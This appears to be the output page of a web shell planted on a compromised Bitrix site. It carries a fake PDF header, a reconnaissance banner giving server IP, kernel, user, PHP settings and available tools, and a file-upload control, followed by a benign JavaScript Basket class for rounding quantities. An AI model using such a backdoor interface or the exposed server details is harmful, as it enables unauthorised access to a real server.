%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.147.238.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/checkout/lib/src/ |
Upload File : |
class Basket { static toFixed(quantity, measureRatio, availableQuantity = 0) { let precisionFactor = Math.pow(10, 6); let reminder = (quantity / measureRatio - ((quantity / measureRatio).toFixed(0))).toFixed(5), remain; if (parseFloat(reminder) === 0) { return quantity; } if (measureRatio !== 0 && measureRatio !== 1) { remain = (quantity * precisionFactor) % (measureRatio * precisionFactor) / precisionFactor; if (measureRatio > 0 && remain > 0) { if ( remain >= measureRatio / 2 && ( availableQuantity === 0 || (quantity + measureRatio - remain) <= availableQuantity ) ) { quantity += (measureRatio * precisionFactor - remain * precisionFactor) / precisionFactor; } else { quantity = (quantity * precisionFactor - remain * precisionFactor) / precisionFactor; } } } return quantity; } // isRatioFloat(value) // { // return parseInt(value) !== parseFloat(value) // } static isValueFloat(value) { return parseInt(value) !== parseFloat(value) } static roundValue(value) { if(Basket.isValueFloat(value)) { return Basket.roundFloatValue(value) } else { return parseInt(value, 10) } } static roundFloatValue(value) { let precision = 6; let precisionFactor = Math.pow(10, precision); return Math.round(parseFloat(value) * precisionFactor) / precisionFactor; } } export { Basket }